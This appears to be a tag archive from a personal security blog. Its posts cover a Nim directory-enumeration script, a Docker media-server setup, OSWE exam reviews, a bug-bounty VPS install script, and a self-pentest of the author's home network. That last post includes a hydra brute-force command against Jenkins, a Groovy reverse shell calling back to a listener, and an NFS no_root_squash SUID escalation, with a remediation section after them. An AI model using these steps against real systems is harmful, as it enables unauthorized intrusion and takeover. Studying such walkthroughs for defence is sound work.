Tag Archives: linux

I’ve Never Heard of Nim

IDK where I have been, but I never heard of this language until today. So, what’s the first thing you do when you learn about a language? You write a directory enumeration script with it.

Please disregard my horrible code, inability to follow Nim standards and philosophies, and the general hackiness of this code.

import httpclient
import parseopt
import strutils
import system
    
var p = initOptParser()
var wordlist: string
var url: string

while true:
  p.next()
  case p.kind
  of cmdEnd: break
  of cmdShortOption, cmdLongOption:
    if p.key == "u":
      url = p.val
    if p.key == "w":
      wordlist = p.val
  of cmdArgument:
    echo ""

let contents = readFile(wordlist)
let words = contents.splitLines()

var final_url: string
var client = newHttpClient(timeout = 100)

for i in 0 ..< words.len:
    final_url = url & "/" & words[i]
    try:
        let response = client.request(final_url, httpMethod = HttpGet)
        let status_code = response.status.split(' ')[0]
        if status_code == "200":
            echo final_url
    except:
        echo ""

All this code does is take a url parameter and a wordlist parameter and makes http get requests to the url + wordlist entry – standard directory enumeration stuff. If the response code is 200, that url gets sent to stdout.

As time permits I’ll update this app. It’d be cool to have it much more feature complete like gobuster, wfuzz, et. al. For now, see the github respository for more information.

Docker Compose – Plex with Plex Pass, Jackett, Sonarr, Radarr, Lidarr, qBittorrent, and PIA

This docker-compose-yml file will run all of these services. This post assumes that you have a little technical knowledge already and that you have Docker and Docker Compose installed. This will run all the downloading with qBittorrent and encrypted over PIA VPN.

Here is the directory structure that this compose file needs.

 /home
└── user
   ├── data
   │   ├── movies
   │   ├── music
   │   └── television
   └── data2
       ├── config
       ├── data
       ├── jackett
       ├── lidarr
       ├── radarr
       └── sonarr

/var
└── docker
   └── plex
       ├── config
       └── transcode

You’ll need to update the docker-compose file with your username. My username is user, so that is what you see in the structure above.

You can make these directories and set permissions with the following commands on Linux.

mkdir -p /home/$USER/data/{movies,music,television}
mkdir -p /home/$USER/data2/{config,data,jackett,lidarr,radarr,sonarr}
sudo mkdir -p /var/docker/plex/{config,transcode}
sudo chown $USER:$USER /var/docker/plex/{config,transcode}

In the docker-compose file, you’ll need to enter your PIA username and password. The Plex service is set up for Plex Pass usage, so you’ll need to enter your claim. Once everything is rolling, you’ll need to update path mappings in Sonarr, Radarr, and Lidarr. You do this in settings > download clients.

You also need to setup the downloaders in Sonarr, Radarr, and Lidarr. You can do this through settings > download clients and then click the big plus button to add a client. If you’re not using SSL for your qBittorrent instance, you won’t need to check that box. The same goes for the password protection. If you’re looking to use SSL, you can check out this post of mine.

Now you need to set up Jackett with your indexers. This will be different for everybody, so follow the instructions that are widely available.

As promised, here is the docker-compose.yml file. You may need to change your UID/GID to what is applicable to your installation/user. Please read it thoroughly – especially the comments.

version: '3.8'
services:
    
    pms-docker:
        container_name: plex
        network_mode: host
        hostname: plex
        runtime: nvidia
        environment:
            - TZ=America/New_York
            - PLEX_UID=1000
            - PLEX_GID=1000
            - PLEX_CLAIM=<your claim here> 
            - ADVERTISE_IP= #ip:port here e.g. http://127.0.0.1:32400
            - NVIDIA_VISIBLE_DEVICES=GPU-04aeacae-0ae1-25b6-1504-a4bec4ed2da9 #change as needed
            - NVIDIA_DRIVER_CAPABILITIES=compute,video,utility
        volumes:
            - /var/docker/plex/config:/config
            - /var/docker/plex/transcode:/transcode
            - /home/user/data/television:/data/tvshows
            - /home/user/data/movies:/data/movies
            - /home/user/data/music:/data/music
        restart: unless-stopped
        devices:
            - /dev/dri/card0:/dev/dri/card0 #your devices go here
            - /dev/dri/renderD128:/dev/dri/renderD128 #may be different
        image: plexinc/pms-docker:plexpass
    
    arch-qbittorrentvpn:
        container_name: qbittorrentvpn
        hostname: qbittorrentvpn
        cap_add: 
            - NET_ADMIN
        ports:
            - '6881:6881'
            - '6881:6881/udp'
            - '6969:6969'
            - '8118:8118'
        container_name: qbittorrentvpn
        restart: unless-stopped
        volumes:
            - '/home/user/data2/data:/data'
            - '/home/user/data2/config:/config'
            - '/etc/localtime:/etc/localtime:ro'
        environment:
            - VPN_ENABLED=yes
            - VPN_USER= #put your PIA username here
            - VPN_PASS= #put your PIA password here
            - VPN_PROV=pia
            - VPN_CLIENT=openvpn
            - STRICT_PORT_FORWARD=yes
            - ENABLE_PRIVOXY=yes
            - LAN_NETWORK=192.168.1.0/24 #possibly different
            - 'NAME_SERVERS=209.222.18.222,84.200.69.80,37.235.1.174,1.1.1.1,209.222.18.218,37.235.1.177,84.200.70.40,1.0.0.1'
            - VPN_INPUT_PORTS=1234
            - VPN_OUTPUT_PORTS=5678
            - DEBUG=false
            - WEBUI_PORT=6969 #not the default change in webui
            - UMASK=000
            - PUID=1000
            - PGID=1000
        sysctls:
            - net.ipv6.conf.all.disable_ipv6=1
        image: binhex/arch-qbittorrentvpn

    jackett:
        image: ghcr.io/linuxserver/jackett
        container_name: jackett
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
            - AUTO_UPDATE=true 
            - RUN_OPTS=<run options here>
        volumes:
            - /home/user/data2/jackett/config:/config
            - /home/user/data2/data:/downloads
        network_mode: host #9117
        restart: unless-stopped
    
    radarr:
        image: ghcr.io/linuxserver/radarr
        container_name: radarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/radarr:/config
            - /home/user/data/movies:/movies
            - /home/user/data2/data:/downloads
        network_mode: host #7878
        restart: unless-stopped

    sonarr:
        image: ghcr.io/linuxserver/sonarr
        container_name: sonarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/sonarr:/config
            - /home/user/data/television:/tv
            - /home/user/data2/data:/downloads
        network_mode: host #8989
        restart: unless-stopped

    lidarr:
        image: ghcr.io/linuxserver/lidarr
        container_name: lidarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/lidarr:/config
            - /home/user/data/music:/music 
            - /home/user/data2/data:/downloads 
        network_mode: host #8686:8686
        restart: unless-stopped

This should put you in the right direction, at least. I’m not responsible for any errors. Special thanks to linuxserver.io and binhex for the images.

Advanced Web Attacks and Exploits -AWAE – Exam Review

> AWAE Course Overview

For people unfamiliar with this course and exam, here is a link to the Offensive security website. I’ve also written about it before, so you can check my post history. Basically the course is a giant pdf and a bunch of videos that go over web application attacks. You then get access to a lab consisting of 13 machines that are running a wide variety of vulnerable web-apps. In regards to languages/DBs/tech, this course covers VSCode, Visual Studio, JDGui, Javascript, PHP, Node, Python, Java, C#, mysql, and postgres – so it’s pretty thorough.

The exam is a 48 hour long exam where they give you access to two machines running vulnerable web-apps. You have to bypass auth on them to get administrator access and then escalate your attack to full-blown remote code execution. You’ll get two debugging machines that are running the same apps as the exam machines. You get full access to the app source code – this is a white-box course after all. You have to review the code base, and then use these debugging machines to develop ‘one-shot’ exploit script that bypasses auth and trigger RCE. I used python, as do most people, I think.

Oh yeah, and they watch you on camera the whole time.

After the exam time is up, assuming you have enough points to pass, you have another 24 hours to write an exam report documenting what you found and how you exploited it.

> How did it go?

First things first: I had to take this one twice. My power went out twice, briefly, and my father had to go to the hospital (he’s fine) during my first attempt. Even though he lives hours away, and there wasn’t much I could do, I was a little distracted. And it wasn’t like I was in front of the computer for the full 48 hours. I took a break about every 1.5 hours or so and slept 5-6 hours both nights.

Nevertheless, I still managed RCE on one of the boxes, and if I had another hour or so, I would have had an auth bypass on the second box – which would likely have let me pass. I look back and I just kind of laugh at how I failed it. I missed something simple that would have given me enough points to pass. I even knew what I needed – I just overlooked it.

I actually noticed the vulns on both boxes within an hour of looking at them. I then went down some rabbit holes for a bit and got sidetracked – especially on the box that I considered the harder one.

The second time around I crushed the exam in about 8 hours – RCE on both boxes. I had my report turned in at the 20 hour mark or so – and I was lollygagging.

If you don’t know me, my background is this: I’m not a professional developer. I don’t work in IT. I have never worked in IT. I just like computers. If I can pass this exam, so can you.

> Advice and Review

My advice for people that are preparing to take this exam is to just take their time and read the code. You need to know how to get the VSCode debugging going. It is a lifesaver. It is probably hard to pass if you don’t get it working. If you follow the code flow in a debugger, things should pop out at you. With that said, they do throw in a couple curve balls, which I bet throws some people for a loop. Now these curve balls aren’t hard to hit, per se, but someone that hasn’t been in the infosec/CTF/bug bounty world may miss these things.

Another question that I’ve been asked is, “Do you need an OSCP to do this couse?” I’ve changed my mind on this several times, and while I think an OSCP will give you a leg up, you don’t really need to have one – especially if you’re already involved the hacking/bug bounty/CTF world. If you’re coming at it straight from being a developer, it may not hurt to expose yourself to this stuff beforehand.

All in all, I’d say the exam was fair and maybe a little on the easy side. I say that as someone that failed it once, too, haha. But not only that, the exam is also a lot of fun. I love the Offensive Security exams. Some people will probably hate me for saying that, but they are a lot of fun.

Offensive Security AWAE/OSWE

I recently was enrolled in the Offensive Security Advanced Web Attacks and Exploits course. This is the newer version of the course, and it leads to the Offensive Security Web Expert Certification. Well, you’ll get the cert after you pass a 48 hour hands-on exam and write a report of your findings. Fun.

First off, I have bug bounty hunting/web app testing experience, so some of the material in the course is not new to me. With that said, the material is presented well, and I enjoyed being able to see somebody else’s methodology of going from initial exploit to full-blown remote code execution. And I definitely still learned a lot along the way.

I’m a mostly self-taught hacker, as are a lot of people in the field. Unfortunately, I find that when I learn on my own, I miss some things along the way. Usually it’s just little time-saving tricks or different ways of doing things, but sometimes I miss things that may cost me money in the bug hunting world. So, I like to supplement the self-learning with some courses occasionally.

If you’re reading this, you probably know how the labs are set up. You get access to 12 boxes running vulnerable software. You exploit them from initial exploit to RCE. The course manual and videos walk you through it, and then they give you “extra miles” to complete, if you’re inclined. The course manual and videos are well put together and explain all the exploits thoroughly.

Should you purchase this course? That depends. I think if you’re already established in the field and making some money bug hunting, you can probably pass it over. If you’re looking to make a transition into web-app pentesting from dev work, it would be a good choice for you. If you’re looking to challenge yourself, go for it. If you’re looking to bolster the resume, go for it.

What do you need to know to complete the course? Well, my skills in C# and Java are a little lacking, so those parts were the most challenging for me, but they were also the parts where I learned the most. I’ve seen some people recommend having an OSCP cert before starting the AWAE, but I don’t think that’s necessary. They are different beasts, and while there is some overlap, it isn’t much. I’d say having a thorough understand of Python (requests package and sessions), and Linux is much more helpful than having an OSCP. The course touches PHP, Node, regular Javascript, Python, C#, and Java (am I forgetting anything?), so if you are lacking experience in any of those, I’d recommend familiarizing yourself with them before you start the course.

You should use a VPS for bug bounty hunting

Why should you use a VPS?

For one, it’ll keep your IP address from being banned by certain providers. How would it feel to wake up one day and not being able to access certain sites because your IP has been blacklisted? If you use a VPS, this isn’t much of an issue. You can just change out the IP from the VPS provider. It may be a littler harder to change your home IP address.

For two, it makes tool installation easier and faster. On Linode, I have a lengthy script that I run when I’m starting up a new box. The script sets up everything I need for bug bounty hunting. It makes tearing down a box and bringing it up a new one simple and quick.

Another reason you may want a cloud-based box running is for server capabilities. For example if you’re testing out some sort of XSS/XXE/etc. and you need a server to host a payload, your bug bounty box can serve double duty. Additionally, some hunters maintain giant databases of scraped webpages, nmap scans, targets and their subdomains, and on and on and on. But perhaps my favorite usage of a dedicated bug-bounty box is hosting your own semi-permanent Burp Collaborator server as described here.

I use this in my day-to-day exploitation because I don’t want to host this stuff at home, which exposes my personal IP address and whatever ports I have open to the general public, which I try to avoid.

Here is a small example of a script that I run. My script is significantly larger, but this is a decent start.

See the latest version on my github page.

#!/bin/bash
# for use with Ubuntu 20.04
# some security tools to get started
# use this to setup new bug bounty box
# use at your own risk

# check if running as root
if [ "$EUID" -ne 0 ]
	then echo "Run as root, please!"
	exit
fi

mkdir sectools
cd sectools

apt update -y && apt upgrade -y

# install some packages and tools that are used regularly
apt install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common \
net-tools \
nmap \
john \
hashcat \
python3-pip \
wfuzz \
nikto \
gobuster \
masscan \
ruby-full \
ruby-railties \
wireguard \
nfs-common \
hydra \
cewl \
mlocate

# evil winrm
gem install evil-winrm

# powershell
snap install powershell --classic

# amass
curl -s https://api.github.com/repos/OWASP/Amass/releases/latest | grep "browser_download_url.*linux_amd64.zip" | cut -d : -f 2,3 | tr -d \" | wget -i -
unzip amass* 
chmod +x ./amass_linux_amd64/amass 
mv ./amass_linux_amd64/amass /usr/bin/


# nuclei
curl -s https://api.github.com/repos/projectdiscovery/nuclei/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf nuclei* nuclei
chmod +x nuclei
mv nuclei /usr/bin/

# httpx
curl -s https://api.github.com/repos/projectdiscovery/httpx/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf httpx* httpx
chmod +x httpx
mv httpx /usr/bin/

# subfinder
curl -s https://api.github.com/repos/projectdiscovery/subfinder/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf subfinder* subfinder
chmod +x subfinder
mv subfinder /usr/bin/

#aquatone setup
curl -s https://api.github.com/repos/michenriksen/aquatone/releases/latest | grep "browser_download_url.*linux_amd64-*" | cut -d : -f 2,3 | tr -d \" | wget -i -
unzip aquatone* aquatone
chmod +x aquatone && cp aquatone /usr/bin

# FFUF
curl -s https://api.github.com/repos/ffuf/ffuf/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf ffuf* ffuf
chmod +x ffuf
mv ffuf /usr/bin/

# getallurls (gau)
curl -s https://api.github.com/repos/lc/gau/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf gau* gau 
chmod +x gau 
mv gau /usr/bin

cd ..
echo "Don't forget to install metasploit, setoolkit, hexeditor, burp suite, wireshark, etc"
echo "all finished!"

You can add whatever you want to this script, and then spin up your bug bounty box with one script. I have my script set my hostname, bashrc, environment variables, download repos from git, install docker, install go, etc.

So who should you use for your VPS? I’ve used AWS, Azure, Digital Ocean, and Linode, and I find Linode to be the best. Just try them all out, and I think you’ll agree with me. AWS and Azure are both massive in size. Azure seems to take way to long to do certain tasks, so that is frustrating. The site just seems slow in general. AWS is better than Azure.

Linode is where it is at. It is quick. The interface is simpler and easier to use than all of the above, and it is cheaper than all of the above. Check it out using my referral link, if you’re interested. That link will give you a $100/60 day credit, so you don’t want to sign up without one. You can just try it out for free and see what you think.

Hacking My Home Network

Home Network

Hacking my Home

> Initial Access

So, I had to fake the initial access portion of this pentest. I only have one externally facing service open on my firewall, and it doesn’t allow logins, so I’m fairly secure in that regard. I also run an intrusion detection system on my LAN, so hopefully I’ll be made aware of any intrusions.

I have a Raspberry Pi 3 (RP3) on which I run Retropie to play old games. Let’s say I downloaded a malicious ROM that was actually a RAT, and now the attacker (me) has access to the RP3 as the pi user.

ccf2c614ef7982378dceb728288b9bb0.png
14f32e4dd0e76cc9682d7417dac76060.png

The first step in this attack would likely be to map the internal network with nmap. Unfortunately, nmap is not installed.

What do I do in this case? Well, I could use this bash script to do a rudimentary ping sweep of the network.

for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
80b755fc3055e63b734dcf122c0a0f5b.png

That gives us a list of IPs to work on for lateral movement. But what else can we do? Let’s try ARP:

That gives us mostly the same results, but if you look closely, there are a couple of devices that didn’t show up in the ping sweep. If we look closely at the hostnames, you’ll see a lot of IoT devices and not many “real” PCs.

But, as we already know, this is a RP running Retropie. Maybe there are default credentials for the Retropie, and we can use them to install stuff.

https://www.google.com/search?channel=fs&client=ubuntu&q=retropie+default+credentials

Looks like the default creds are pi:raspberry. And it looks like they will work for us. Let’s install nmap and truly map the network.

First we will do a simple nmap scan and skip port scanning.

831d06d508eabf4eb9d8ba00a50b60cd.png

This output is a little more clear than the ARP scan. We can see a couple of interesting hostnames – desktop1, parrot, and unifi. The first thing that comes to mind when I see parrot is ParrotOS, the pentesting operating system. And I’m assuming desktop1 is a desktop PC. We also have some IPs without hostnames, which we can investigate as needed.

Additionally, we see a bunch of IoT devices present, which we won’t spend time on now, but I’m planning an article in the future focusing on security issues associated with them.

> Lateral Movement

Let’s start with an nmap scan of parrot:

We have a couple of ports there that could come in handy, if we happen to find any usernames. This is a home network, so we likely can spray/brute force without being detected (except, I’d actually detect this on my LAN with my IDS). Make note of this scan and move on to nmap 186 desktop1:

e999378aa925320963a531b0330897cd.png

That’s strange, it doesn’t seem like the desktop has many ports open. Now, how about unifi, 192.168.1.191. It turns out this is actually my desktop PC.

sudo nmap -A -p- 192.168.1.191 | tee nmap-desktop.txt

Turns out there was A LARGE NUMBER of open ports on my desktop, which was expected. I run some services on my desktop PC, which actually serves multiples roles around my home as a media server, general workstation, development server, VM/container host, etc. So let’s grep that file for open ports

560bcd48bec0c481f3f0ee76f89b08c8.png

Where to start? Well, the services that stick out the most to me are port 2049, which is probably an NFS share, all the 8XXX ports and 9080, which all seem to be webservers of some sort. I’m going to access these locally, but if this were real life, I’d have to setup proxychains/SSH/etc to use the RP as a pivot box. Let’s check the NFS share first.

showmount -e 192.168.1.191
044f0a1eb851156589ec088deb841c9c.png

Looks likes we have some shares there. Let’s mount them.

31cdf3f0c369130ff401e8146d1f2f58.png

Jackpot! We have some very sensitive directories here – even a file named username.txt. We are going to avoid enumerating this data, but if this was a real pentest, you can be assured there are things to be found here. Let’s move on for now.

Sure enough, port 8443 is a Unifi login point. Port 8080 also redirects here.

66fd078227e76497b13bd028ff3a5c0d.png

We can explore this down the road, if needed, but let’s take a look at some more stuff. Ports 8880 and 8843 give me 400 error codes.

b68b02a6f270ed8c9416efd957a44b4c.png

And port 9080 seems to be Jenkins, hmm.

f457b858e5df66667966098250ca3da8.png

One thing I know about Jenkins is that it will start up with a default username of admin, unless you change it. Maybe we can crack it with hydra? After all, it is a local and behind a firewall. Maybe the user (me) is lax on security on their local network. Good thing I’m administrator on the Raspberry Pi. Now, if we are going to brute force this password, we need get the details of the request.

d8829b8b1bc2358cc5f6290829ce5714.png
d850f74dea1046649edf8bd619ea19a8.png

With the information in those headers and body, we can create a hydra command to brute force the password, using this list:

7d53cf53495302e186087c54a86ad9a8.png

Here is the hydra command:

hydra -l admin -P /home/pi/darkweb2017-top10000.txt 192.168.1.191 -s 9080 http-post "/:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid"

And success! Maybe I should have tried the simple ones manually, first, but oh well. In a real pentest we may consider password spraying all the login pages and services that we can find.

9ad1119a9a251aad0a024615c883b725.png
08db9fa78fdaa84f887a7c762a16e6b8.png

Looks like there is one job present that we would explore in a real pentest. This may give us some info to move laterally on this network, or even other networks, if this is some sort of pipeline for an external site (which it actually is, https://nuke-api.com). For now, we can use the tried and true method of obtaining a reverse shell from the Jenkins Script Console:

6503fd18628aec848fa6e134989b2ca9.png
String host="192.168.1.201";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Then start the listener on the attacking box, hit ctrl-enter in Jenkins script console, and voila!

b9c3b99adba89e5a2c1c0cb17d78c2a1.png

Now we have the user ‘user’ on the desktop PC.

> Privilege Escalation

First, we get ourselves a better shell.

Lets get rid of that command echoing:

210e4ba531004cd467a49e2117c6180f.png

You see those data folders? That’s interesting because those are the same ones we saw that were shared with NFS earlier. Let’s get some more information about them.

df1828fa0016d2e78810487e0769145c.png

Uh, oh. I think we found a way to elevate our privileges. That ‘no_root_squash’ export option is a security concern. Basically, it allows remote users to mount the drive and do things as root.

So let us go back to the RP3.

796dc9c021fed5826465999153690658.png

We’ve mounted the drive again (disregard the obviously sensitive files and directories, we aren’t focusing on that aspect today).

From here we can do one of my favorite privilege escalations to obtain root on the desktop. Now, if the boxes were the same architecture, we could, on the RP3, copy /bin/bash to the mount and set the SUID bit. Unfortunately, that will not work in our case, so we will have to use our brains.

7c4a8db4ce17a06d94e0ff04a212e142.png

First, create this simple C program to elevate to root. Then, on the desktop, compile the program. Maybe we could have transferred the desktop’s bash binary to this directory, and then enable the SUID bit from the RP3, but I decided to do it another way.

gcc getroo.c -o getroot

Then, back on the RP3, run the following command to make the file executable and the SUID bit active.

sudo chmod root:root getroot
sudo chmod +sx getroot

Now, back on the desktop

b3b1c100d7cea8c04e3ff93324137903.png

We can see the file is now there with the SUID bit set, so we run it, and now we are root!

> Analysis and Remediation

Phew! Where to start? This pentest exploited a litany of security issues.

To start, if the initial access was obtained from the download of a malicious file, some antivirus may have helped. Better yet, train your users to not download strange files. After all, antivirus can be bypassed.

Next, let’s talk about default/basic credentials. We ran into this twice on this engagement – once on the RP3, which allowed us root privileges to install software to advance our attack, and then once again default credentials allowed us to log into Jenkins.

Once we got into Jenkins, we used built in functionality to get us access to the desktop box. This could have been remedied, or alleviated by disabling the Jenkins script console, or running Jenkins with a different user. We also could run Jenkins in a container (which is what I actually do, IRL). That way, the malicious actor would have to break out of the container in order to obtain direct access to the box. As long as the container is properly configured, it may be very difficult, or impossible to break out of.

Ultimately, the misconfiguration of NFS shares is what allowed us to root the desktop PC. The shares did not need to be shared with no_root_squash. This options allows a root user on another box to create files that will remained owned by the root user instead of being owned by a user named ‘nobody.’ This is a security feature that should almost never be bypassed.

That is all I got. Please don’t hack me.

Disclaimer: My network is not actually this insecure.